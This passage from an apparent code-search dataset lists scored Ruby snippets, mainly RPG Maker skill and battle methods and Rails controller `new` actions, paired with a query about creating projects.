TemperamentInfo.infj_info\n when 'enfp'\n TemperamentInfo.idealist_info\n TemperamentInfo.enfp_info\n when 'infp'\n TemperamentInfo.idealist_info\n TemperamentInfo.infp_info\n when 'entj'\n TemperamentInfo.rational_info\n TemperamentInfo.entj_info\n when 'intj'\n TemperamentInfo.rational_info\n TemperamentInfo.intj_info\n when 'entp'\n TemperamentInfo.rational_info\n TemperamentInfo.entp_info\n when 'intp'\n TemperamentInfo.rational_info\n TemperamentInfo.intp_info\n end\n end", "title": "" }, { "docid": "fc2c39401bf154729194d3ae7508ae0a", "score": "0.52357167", "text": "def get_new_skills(level)\n self.skills.select do |skill|\n skill.min_level == level\n end\n end", "title": "" }, { "docid": "b6d3fcbcafba79f47f69feb7f3ebfd7e", "score": "0.52194154", "text": "def skill_learn?(skill_id)\n return @skills.include?(skill_id)\n end", "title": "" }, { "docid": "eb628f6047507bdfcff6bab63e20d6d4", "score": "0.5206211", "text": "def added_skill_types\r\n features_set(FEATURE_STYPE_ADD)\r\n end", "title": "" }, { "docid": "439979bb989150bb61c764b7bac885d1", "score": "0.51884425", "text": "def learn utterance\n MyLogger.debug \"Player ##{id} learning #{utterance}\"\n # 1. Incorporation\n rule = grammar.learn utterance.meaning, utterance.word\n # 2. Merging\n grammar.merge rule if rule\n # 3. Cleaning\n grammar.clean!\n end", "title": "" }, { "docid": "5c0260f460f4f4e5664beb78fef1e4b2", "score": "0.51808834", "text": "def mod_skills_used(team, v, set = false)\n gen_mod_data(team, v, :skill, set)\n end", "title": "" }, { "docid": "0b7a2ca6ab520334cec32530a3ee6f64", "score": "0.5167637", "text": "def literature(level)\n data = @data['families'].find { |type| type['name'] == 'Literature' }\n badge = data['earnedAchievements'].find { |le| le['familyOrder'] == (level - 1) }\n HQTrivia::Badge.new(badge)\n end", "title": "" }, { "docid": "815913dd5d7ea149aeb5eaeaa83e8cdf", "score": "0.5165172", "text": "def draw_skills(y)\n enemy.actions.each do |action|\n next unless action.skill?\n next if $data_skills[action.skill_id].hide_from_bestiary?\n draw_skill(y, action)\n y += line_height\n end\n end", "title": "" }, { "docid": "bbd9ae87f280b1e2897a46e02345af66", "score": "0.5156065", "text": "def amenities\n %w(Bathroom Televison Towels)\n end", "title": "" }, { "docid": "7d1632375daed5cc01225ac03bf65795", "score": "0.51538736", "text": "def skills\n respond_with get_tags_for_contexts([\"skills\", \"reject_skills\"], params[:exclude_tags])\n end", "title": "" }, { "docid": "497935218e886ef6f38cb500ce7936c2", "score": "0.51298046", "text": "def flying_skills #methods (instance method) available for instances of Robot\n if type == \"Super-Android\"\n \"I can fly!\"\n else\n \"I can't fly {crying}\"\n end\n end", "title": "" }, { "docid": "d17627d7f2310e373f0b2d40329bb2ca", "score": "0.5124785", "text": "def list_skills\n\t\trender json: Skill.where(language_id: params[:language_id]).to_json\n\tend", "title": "" }, { "docid": "29996adef1b080e275db0525c0cc9f96", "score": "0.50993824", "text": "def kase_kinds\n [:idea, :question, :problem, :praise]\n end", "title": "" }, { "docid": "17c361f5845071c4ef91d399868c01df", "score": "0.5092618", "text": "def elv_nymphali\n return @skills_set.any? { |skill| skill&.type_fairy? }\n end", "title": "" }, { "docid": "c3a5eec6d20e2078ea5422ec57a11b7d", "score": "0.509214", "text": "def type\n %w[taxi PHV].sample\n end", "title": "" }, { "docid": "856702aa04bddd8a7c1fc023ef091cea", "score": "0.50855374", "text": "def data\n GameData::Skill[@id]\n end", "title": "" }, { "docid": "5888fdb12cffdf11e73500a48cf999cf", "score": "0.5078535", "text": "def learn_skill(skill_id)\n if skill_id > 0 and not skill_learn?(skill_id)\n @skills.push(skill_id)\n @skills.sort!\n end\n end", "title": "" }, { "docid": "2df47cdd882d3cd33381a4b4f1c57ac1", "score": "0.5076683", "text": "def find_meaning(lexical_item)\n \n end", "title": "" }, { "docid": "9041c22352fbd5122f75e9587ec9cb9b", "score": "0.50758636", "text": "def spirit_defense\n defense_bonus = calc_spirit_defense\n defense_bonus > 0 ? (defense_bonus * spi).to_i : 0\n end", "title": "" }, { "docid": "ca5116f06af358ba83da92609deb5684", "score": "0.50636977", "text": "def name\n\t\t@skill.to_s\n\tend", "title": "" }, { "docid": "8e7c89ef0246f10cb132b3b604640c0b", "score": "0.50602937", "text": "def probono\n find_worldwide_by_permalink_and_active(\n 'luleka', true, :include => :piggy_bank)\n end", "title": "" }, { "docid": "ed99046d39cc585c3a3fe028da4fb198", "score": "0.5053465", "text": "def skills_display_label\n ret = ''\n self.skills.each do |s|\n ret += \"<span class='label label-default label-type-1'>#{s.name}</span>\"\n end\n\n return ret\n end", "title": "" }, { "docid": "50aee9d82fdad65f791fafdd83797372", "score": "0.5041848", "text": "def skill_type_sealed?(stype_id)\r\n features_set(FEATURE_STYPE_SEAL).include?(stype_id)\r\n end", "title": "" }, { "docid": "47bc587ad09586ab0ee959f33f01f51a", "score": "0.50336695", "text": "def skills(id={}, options={})\n options = parse_id(id, options)\n path = \"#{profile_path(options, false)}/skills\"\n get(path, options)\n end", "title": "" }, { "docid": "f17a50e1f4a3f00b569061590e95c0aa", "score": "0.50322396", "text": "def resourceType\n 'ExplanationOfBenefit'\n end", "title": "" }, { "docid": "1b7050403a0ab379d6ed95131faac6b0", "score": "0.50259423", "text": "def calc_spirit_defense\n features_sum(:spirit_defense)\n end", "title": "" }, { "docid": "5d4f04772f1d42dc5b0e3e8376178b0e", "score": "0.50168484", "text": "def skill_effect(user, skill)\n # Clear critical flag\n self.critical = false\n # If skill scope is for ally with 1 or more HP, and your own HP = 0,\n # or skill scope is for ally with 0, and your own HP = 1 or more\n if ((skill.scope == 3 or skill.scope == 4) and self.hp == 0) or\n ((skill.scope == 5 or skill.scope == 6) and self.hp >= 1)\n # End Method\n return false\n end\n # Clear effective flag\n effective = false\n # Set effective flag if common ID is effective\n effective |= skill.common_event_id > 0\n # First hit detection\n hit = skill.hit\n if skill.atk_f > 0\n hit *= user.hit / 100\n end\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n # Si Golpeas\n if hit_result == true\n if Wep::Atribute_mod_skills[skill.id] != nil\n # Extract and calculate effect\n # Calculate power\n ef = Wep::Atribute_mod_skills[skill.id][0] + user.atk * skill.atk_f / 100\n ef -= self.pdef * skill.pdef_f / 200\n ef -= self.mdef * skill.mdef_f / 200\n # Calculate rate\n ra = 20\n ra += (user.str * skill.str_f / 100)\n ra += (user.dex * skill.dex_f / 100)\n ra += (user.agi * skill.agi_f / 100)\n ra += (user.int * skill.int_f / 100)\n # Calculate total effect\n total_ef = ef * ra / 20\n # Apply dispersion\n if skill.variance > 0\n amp = [total_ef * skill.variance / 100, 1].max\n total_ef += rand(amp+1) + rand(amp+1) - amp\n end\n \n # Apply if exist\n case Wep::Atribute_mod_skills[skill.id][1]\n \n when 'maxhp':\n self.atr_mod_list.maxhp += total_ef\n when 'maxsp':\n self.atr_mod_list.maxsp += total_ef\n \n when 'str':\n self.atr_mod_list.str += total_ef\n when 'dex':\n self.atr_mod_list.dex += total_ef\n when 'int':\n self.atr_mod_list.int += total_ef\n when 'agi':\n self.atr_mod_list.agi += total_ef\n \n when 'atk':\n self.atr_mod_list.atk += total_ef\n when 'pdef':\n self.atr_mod_list.pdef += total_ef\n when 'mdef':\n self.atr_mod_list.mdef += total_ef\n when 'eva':\n self.atr_mod_list.eva += total_ef\n end\n end\n \n # Calculate power\n power = skill.power + user.atk * skill.atk_f / 100\n if power > 0\n power -= self.pdef * skill.pdef_f / 200\n power -= self.mdef * skill.mdef_f / 200\n power = [power, 0].max\n end\n # Calculate rate\n rate = 20\n rate += (user.str * skill.str_f / 100)\n rate += (user.dex * skill.dex_f / 100)\n rate += (user.agi * skill.agi_f / 100)\n rate += (user.int * skill.int_f / 100)\n # Calculate basic damage\n self.damage = power * rate / 20\n # Element correction\n self.damage *= elements_correct(skill.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if skill.variance > 0 and self.damage.abs > 0\n amp = [self.damage.abs * skill.variance / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / user.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva * skill.eva_f / 100\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n end\n # If hit occurs\n if hit_result == true\n # If physical attack has power other than 0\n if skill.power != 0 and skill.atk_f > 0\n # State Removed by Shock\n remove_states_shock\n # Set to effective flag\n effective = true\n end\n # Substract damage from HP\n last_hp = self.hp\n self.hp -= self.damage\n effective |= self.hp != last_hp\n # State change\n @state_changed = false\n if Wep::Skill_state_rates[skill.id] != nil\n state_add = []\n state_remove = []\n # Loop over state rates and check the posibiltys. Create a state list.\n for state_rate in Wep::Skill_state_rates[skill.id]\n if rand(100) < state_rate[1]\n state_add.push(state_rate[0])\n for s in state_rate[2]\n state_remove.push(s)\n end\n end\n end\n states_plus(state_add)\n states_minus(state_remove)\n #effective |= states_plus(state_add)\n #effective |= states_minus(state_remove)\n else\n states_plus(skill.plus_state_set)\n states_minus(skill.minus_state_set)\n #effective |= states_plus(skill.plus_state_set)\n #effective |= states_minus(skill.minus_state_set)\n end\n # If power is 0\n if skill.power == 0\n # No damage\n self.damage = \"\"\n # If state does not change\n unless @state_changed\n # Miss\n self.damage = \"Miss\"\n end\n end\n else\n # Miss\n self.damage = \"Miss\"\n end\n unless $game_temp.in_battle\n self.damage = nil\n end\n return effective\n end", "title": "" }, { "docid": "6751cbf3fa558f6fd4e61e67b6a8fe40", "score": "0.5014255", "text": "def intent_schema\n intents_by_name = []\n utterance_model.sample_values.map { |intent| add_intents_by_name(intents_by_name, intent) } \n { intents: intents_by_name, types: custom_types_by_name }\n end", "title": "" }, { "docid": "682ad7422c029d258f0bc1d471668867", "score": "0.50119466", "text": "def valid_skill_levels\n %w[beginner intermediate expert]\n end", "title": "" }, { "docid": "cec0723b6ea8d57c231f255a897abd73", "score": "0.50080377", "text": "def dennis_ritchies_language\n\tprogrammer_hash = \n \t\t{\n :grace_hopper => {\n :known_for => \"COBOL\",\n :languages => [\"COBOL\", \"FORTRAN\"]\n },\n :alan_kay => {\n :known_for => \"Object Orientation\",\n :languages => [\"Smalltalk\", \"LISP\"]\n },\n :dennis_ritchie => {\n :known_for => \"Unix\",\n :languages => [\"C\"]\n }\n }\n programmer_hash[:dennis_ritchie][:languages][0]\nend", "title": "" }, { "docid": "d0f3a51a8618e3c8fe563e6b627655a7", "score": "0.4994011", "text": "def the_lineup #in short, this returns only phrases that have situations which are selected AND scores (familiarity levels) which have been selected\n the_situations = []\n the_scores = []\n the_phrases = []\n @situations.each do |s|\n if s.studying_now == true\n the_situations << s.id\n else\n next\n end\n end\n#the_situations = @situations.map do {|s| s.studying_now == true}\n# do this for scores (with map)\n# do this for phrases (with map)\n\n @scores.each do |s|\n if s.studying_now == true\n the_scores << s.id\n else\n next\n end\n end\n\n the_situations.each do |this_situation_id| #checking situations that are true\n a_situation = @situations.find(this_situation_id) #a single situation that is true\n\n the_scores.each do |this_score_id| #checking scores that are true\n a_score = @scores.find(this_score_id) #a single true score for this iteration\n\n all_phrases_in_a_situation = a_situation.phrases.all #all the phrases for the relevant situation\n all_phrases_in_a_situation.each do |this_phrase| #cycling over a given phrase in a true situation\n if (this_phrase.score_id == a_score.id) && (this_phrase.familiarity_score < 100.0)\n the_phrases << this_phrase\n else\n next\n end\n end\n\n end\n end\n\n the_phrases\n\n #a phrase should have the correct id from situations array\n #a phrase should have the correct id from scores array\n #a phrase should also have a score less than the trip wire\n\n #phrase.familiarity score should autoset at situations home (it does)\n end", "title": "" }, { "docid": "5b1a5d9261394f6a185f09179cd5a138", "score": "0.49822614", "text": "def get_effective_against(k)\n case k.type\n when KudomonTypes::WATER then\n [KudomonTypes::FIRE]\n when KudomonTypes::FIRE then\n [KudomonTypes::GRASS]\n when KudomonTypes::GRASS then\n [KudomonTypes::ROCK]\n when KudomonTypes::ROCK then\n [KudomonTypes::ELECTRIC]\n when KudomonTypes::ELECTRIC then\n [KudomonTypes::WATER]\n when KudomonTypes::PSYCHIC then\n [KudomonTypes::WATER, KudomonTypes::FIRE, KudomonTypes::GRASS, KudomonTypes::ROCK, KudomonTypes::ELECTRIC]\n else\n []\n end\n end", "title": "" }, { "docid": "d8d90af8898f4990feda184c203b3ff6", "score": "0.49808708", "text": "def nature\n\t\tself.role\n\tend", "title": "" }, { "docid": "b62e388669d489a3472fd496142bbfdc", "score": "0.49755916", "text": "def random_skills(skills, count)\n Skill.where(name: skills.sample(count))\nend", "title": "" }, { "docid": "4b7949666815003f82fed020bc2de884", "score": "0.4966276", "text": "def skill_effect(user, skill)\n # Clear critical flag\n self.critical = false\n # If skill scope is for ally with 1 or more HP, and your own HP = 0,\n # or skill scope is for ally with 0, and your own HP = 1 or more\n if ((skill.scope == 3 or skill.scope == 4) and self.hp == 0) or\n ((skill.scope == 5 or skill.scope == 6) and self.hp >= 1)\n # End Method\n return false\n end\n # Clear effective flag\n effective = false\n # Set effective flag if common ID is effective\n effective |= skill.common_event_id > 0\n # First hit detection\n hit = skill.hit\n if skill.atk_f > 0\n hit *= user.hit / 100\n end\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n # If hit occurs\n if hit_result == true\n # Calculate power\n power = skill.power + user.atk * skill.atk_f / 100\n if power > 0\n power -= self.pdef * skill.pdef_f / 200\n power -= self.mdef * skill.mdef_f / 200\n power = [power, 0].max\n end\n # Calculate rate\n rate = 20\n rate += (user.str * skill.str_f / 100)\n rate += (user.dex * skill.dex_f / 100)\n rate += (user.agi * skill.agi_f / 100)\n rate += (user.int * skill.int_f / 100)\n # Calculate basic damage\n self.damage = power * rate / 20\n # Element correction\n self.damage *= elements_correct(skill.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if skill.variance > 0 and self.damage.abs > 0\n amp = [self.damage.abs * skill.variance / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / user.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva * skill.eva_f / 100\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n end\n # If hit occurs\n if hit_result == true\n # If physical attack has power other than 0\n if skill.power != 0 and skill.atk_f > 0\n # State Removed by Shock\n remove_states_shock\n # Set to effective flag\n effective = true\n end\n # Substract damage from HP\n last_hp = self.hp\n self.hp -= self.damage\n effective |= self.hp != last_hp\n # State change\n @state_changed = false\n effective |= states_plus(skill.plus_state_set)\n effective |= states_minus(skill.minus_state_set)\n # If power is 0\n if skill.power == 0\n # Set damage to an empty string\n self.damage = \"\"\n # If state is unchanged\n unless @state_changed\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n end\n # If miss occurs\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n # If not in battle\n unless $game_temp.in_battle\n # Set damage to nil\n self.damage = nil\n end\n # End Method\n return effective\n end", "title": "" }, { "docid": "8336045785e468900f84a473c0f67ce6", "score": "0.4960974", "text": "def method_missing(m, *args, &block)\n match_data = m.match /(strong|weak)_(skills|attitudes)/\n if match_data && match_data.length >= 3\n get_answers(match_data[1], match_data[2])\n else\n super\n end\n end", "title": "" }, { "docid": "ceda5fdc5379baf462e460b73687956b", "score": "0.49588487", "text": "def italicize_taxon?(taxon)\n rank_id = nil\n if taxon.has_key?(\"rank\")\n rank_id = taxon[\"rank\"][\"id\"]\n elsif taxon.has_key?(\"parents\")\n for link in taxon[\"parents\"]\n if link[\"relation\"][\"id\"] == HAS_RANK\n rank_id = link[\"target\"][\"id\"]\n end\n end\n end\n return [GENUS_ID, SPECIES_ID].include?(rank_id)\n end", "title": "" }, { "docid": "5498abc01fb2e7322d6f4ebdf8d885b5", "score": "0.49572745", "text": "def description\n return $BlizzABS.util.add_skill_text(@description, @id, 2)\n end", "title": "" }, { "docid": "749e8fac685f2e858dc152f2a6a2fcfc", "score": "0.49529016", "text": "def nouns\n {\"cat\" => [\"cats\", \"cat\"], \"hero\" => [\"heroes\"]}\n end", "title": "" }, { "docid": "6a83eb2a38f9cb260a44ac7b355c239b", "score": "0.4951298", "text": "def mechanics\n Mechanic.all.select{|mechanic|mechanic.specialty == self.classification}\n end", "title": "" }, { "docid": "03f1252999c478d03adb50695768b2d9", "score": "0.49455458", "text": "def description_of(superhero)\n case superhero\n when \"batman\"\n ['']\n when \"paul\"\n ['gender: male', 'height: 145']\n when \"dawn\"\n ['gender: female', 'height: 170']\n when \"brian\"\n ['gender: male', 'height: 180']\n else\n ['species: Trachemys scripta elegans', 'height: 6']\n end\nend", "title": "" }, { "docid": "c39d72b84eab2bf7091e63cd715942d3", "score": "0.49448985", "text": "def get_poss_type_alt(note_set)\n \n\n\n end", "title": "" }, { "docid": "e272f759c9b9ae94ef8d4024a345e0e4", "score": "0.4939626", "text": "def convert_skills_to_hash\n skills = Skill.all.map do |skill|\n [skill.id, skill.name.gsub(/'/, \"''\")]\n end\n skills.to_h\n end", "title": "" }, { "docid": "dfd835149d9a2338a0de19c374b0ae65", "score": "0.4933826", "text": "def attack_skill_id\r\n return 1\r\n end", "title": "" }, { "docid": "f701aeba4f47aa5b0bb69c87e70d00a0", "score": "0.49315837", "text": "def matched_skill\n text = ''\n counter = 0.0\n skills = self.member.skills\n \n if self.job.present?\n self.job.skills.each do |s|\n if skills.include? s\n text += \"<span class='mb-5 label label-info'>#{s.name}</span>\"\n counter += 1\n end\n end\n\n if counter > 0\n percent = (counter/self.job.skills.count*100).to_i \n else\n percent = 0\n end\n end\n\n return { percent: percent, text: text }\n end", "title": "" }, { "docid": "e822c21999eec02cd92a0bba886bbeec", "score": "0.4920387", "text": "def wine_type_by_food\n wine_array = self.wines\n wine_types = wine_array.map do |wine|\n wine.varietal\n end\n wine_types.uniq!\n end", "title": "" }, { "docid": "aba2e8f528e1dfdb3e7bf1c3c4961f58", "score": "0.49114153", "text": "def manner\n features.intersection(Features::MANNER)\n end", "title": "" }, { "docid": "95fffb5fe6ef421e04cbe76bd24fd2c8", "score": "0.4906417", "text": "def skill_wtype_ok?(skill)\r\n return true\r\n end", "title": "" }, { "docid": "1bc03d2514e457a45fb62bded0ab6e70", "score": "0.4905205", "text": "def index\n @desired_skills = DesiredSkill.all\n end", "title": "" }, { "docid": "bfbbd983b37f389f1895cb350b7b6aed", "score": "0.4900271", "text": "def skill_effect_scope(skill)\r\n # If skill scope is for ally with 1 or more HP, and your own HP = 0,\r\n # or skill scope is for ally with 0, and your own HP = 1 or more\r\n return (((skill.scope == 3 or skill.scope == 4) and self.hp == 0) or\r\n ((skill.scope == 5 or skill.scope == 6) and self.hp >= 1))\r\n end", "title": "" }, { "docid": "1f3f40bba16c9410c86b61d6e55c14c6", "score": "0.4894532", "text": "def skill_conditions_met?(skill)\r\n usable_item_conditions_met?(skill) &&\r\n skill_wtype_ok?(skill) && skill_cost_payable?(skill) &&\r\n !skill_sealed?(skill.id) && !skill_type_sealed?(skill.stype_id)\r\n end", "title": "" }, { "docid": "54da193208113e87a62d24ca29952634", "score": "0.48757294", "text": "def constant_recipes\n user_diet_pref = self.dietary_preferences.split(' ')\n if self.dietary_preferences == \"\"\n results = Recipe.all.select {|recipe| recipe.diet_labels.include?(self.diet) }\n else \n results = Recipe.all.select do |recipe|\n user_diet_pref.all? {|pref| recipe.health_labels.include?(pref)}\n end.select {|recipe| recipe.diet_labels.include?(self.diet) }\n end\n results\n end", "title": "" }, { "docid": "fac2c6190a8db46378cb80c07c12a159", "score": "0.48751995", "text": "def person_relator_terms\n {\n \"aut\" => \"Author\",\n \"cre\" => \"Creator\",\n \"edt\" => \"Editor\",\n \"phg\" => \"Photographer\", \n \"mdl\" => \"Module leader\",\n \"spr\" => \"Sponsor\",\n \"sup\" => \"Supervisor\" \n }\n end", "title": "" }, { "docid": "704a59e4c7a5c29ca1e0eb5d828736e1", "score": "0.48744297", "text": "def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend", "title": "" }, { "docid": "01b18d17c62650d5667704748abfe32a", "score": "0.48630893", "text": "def counter_skills_id\n [data_battler.counter_skill]\n end", "title": "" }, { "docid": "a59eefcb40b8e5d9c45ee22494b62050", "score": "0.48551485", "text": "def getQuestDescription(quest)\n return \"#{QuestModule.const_get(quest)[:QuestDescription]}\"\n end", "title": "" }, { "docid": "6f15a86899a7d511df9e6a5e7e2401a1", "score": "0.48446277", "text": "def get_profile_skills(wrapper)\n profile_skills = find_elements PROFILE_SKILLS_LOCATOR, wrapper\n get_skills profile_skills\n end", "title": "" }, { "docid": "60d33dfbb2b8363b4be5f65062fb34e7", "score": "0.48445296", "text": "def shared_meaning(hyps)\n hyps.inject(hyps.first.meaning) do |meaning, hyp|\n meaning &= hyp.meaning\n end\n end", "title": "" }, { "docid": "b6ec51fe1395631a3c73e3f598da381a", "score": "0.48424536", "text": "def mood\n if self.nausea && self.happiness\n self.nausea > self.happiness ? (return \"sad\") : (return \"happy\")\n end\n end", "title": "" } ]
e627abc05d6339ae85206b6dc9ab5a69
GET /administration/projects/new GET /administration/projects/new.json
[ { "docid": "f629671e57b974632f128852300585df", "score": "0.7904584", "text": "def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" } ]
[ { "docid": "5e2dd02c7ad5833a1133dd8c78a7438c", "score": "0.82298756", "text": "def new\n @project = current_user.projects.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "eb8756e371f1158d2340fec9bde6ddda", "score": "0.8003854", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "d6b1c22f3fc52f950377eebc1502518e", "score": "0.7977113", "text": "def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "74de2ec47ff3f041194ca75766632a2f", "score": "0.7964293", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "8f379bd1eeebe49d8c6859cff090469e", "score": "0.7944776", "text": "def new_project\n if current_admin.present? || current_client.present?\n @project = Project.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n else\n redirect_to new_admin_session_path and return\n end\n end", "title": "" }, { "docid": "794917f48d0f521684495b1e464d8054", "score": "0.7931046", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @project }\n end\n end", "title": "" }, { "docid": "192788b05aa6a3ceab256b3dd73533de", "score": "0.7927782", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.json { render json: @project }\n format.html # new.html.erb\n end\n end", "title": "" }, { "docid": "6db4b6cbae92eb0c78701b9a471955b0", "score": "0.79277194", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "b5a184c1ce5f9a5953d988534761cc85", "score": "0.7881384", "text": "def new\n authorize! :create, Project\n \n @project = Project.new\n puts @project\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "e79aa387ec0dbce066356dc745da7645", "score": "0.7856133", "text": "def new\n @projectresource = Projectresource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projectresource }\n end\n end", "title": "" }, { "docid": "5483af2bf478a9884ca80a61312a3d6e", "score": "0.78459287", "text": "def new\n @project = Project.new(user_id: current_user.id)\n find_people_list\n fetch_clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "92658398cec2a53b1b7ad7533bf03404", "score": "0.77034265", "text": "def new\n @isgrey = true;\n @current_page = \"ADD PROJECT\"\n @project = Project.new\n @project_attachment = @project.project_attachments.build\n @slider_object = @project.slider_objects.build\n @project_field = @project.project_fields.build\n @project_other_field = @project.project_other_fields.build\n\n @types = Type.all\n @new_nav = true;\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "0f13f5efee3f09c7a87010c5ceebd11d", "score": "0.7681866", "text": "def new\n @ourproject = Ourproject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ourproject }\n end\n end", "title": "" }, { "docid": "ad6c142fe3c2762abd1881635abce3de", "score": "0.76305056", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html { render layout: 'project'}\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "a96552be0d5c070e8ef4441f09683d93", "score": "0.76234853", "text": "def new\n @current_project = CurrentProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @current_project }\n end\n end", "title": "" 